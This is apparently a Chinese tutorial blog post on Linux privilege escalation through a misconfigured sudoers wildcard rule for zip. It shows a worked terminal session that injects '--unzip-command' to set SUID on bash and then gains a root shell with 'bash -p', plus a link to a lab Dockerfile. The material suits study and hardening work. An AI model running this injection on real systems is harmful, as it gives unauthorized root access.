Linux提权系列 - sudo (2)

220 阅读1分钟

概述

系统管理员通过系统文件/etc/sudoers来控制某个用户可以使用sudo运行哪些程序命令, 除了在suid(1)中提到的本身可以通过sudo提权的程序命令之外,不正确的设置也可能提供提权的途径。

示例

在以下的示例中,/etc/sudoers文件中使用包含匹配符(*)的命令行

test ALL=(ALL) NOPASSWD: /usr/bin/zip /tmp/backup.zip /opt/data/*

该设置的意图在于允许test用户通过sudo来运行zip程序将/opt/data/目录压缩为/tmp/backup.zip,但由于匹配符(*)的存在,test用户可以运行以下命令行以root权限运行植入的命令。

test@0d429ce2e7c2:~$ id
uid=1000(test) gid=1000(test) groups=1000(test)
test@0d429ce2e7c2:~$ sudo /usr/bin/zip /tmp/backup.zip /opt/data/ -T --unzip-command "chmod u+s /usr/bin/bash"
  adding: opt/data/ (stored 0%)
test of /tmp/backup.zip OK
test@0d429ce2e7c2:~$ ls -alrt /usr/bin/bash
-rwsr-xr-x. 1 root root 1396520 Jan  6  2022 /usr/bin/bash
test@0d429ce2e7c2:~$

执行完毕后,我们可以看到/usr/bin/bash有了SUID, 提权就轻而易举了。

test@0d429ce2e7c2:~$ bash -p
bash-5.1# id
uid=1000(test) gid=1000(test) euid=0(root) groups=1000(test)
bash-5.1#

实战

下面的Dockerfile提供了一个基于Ubuntu的试验环境,可用于复现以上的提权过程。

github.com/wuzhang72/L…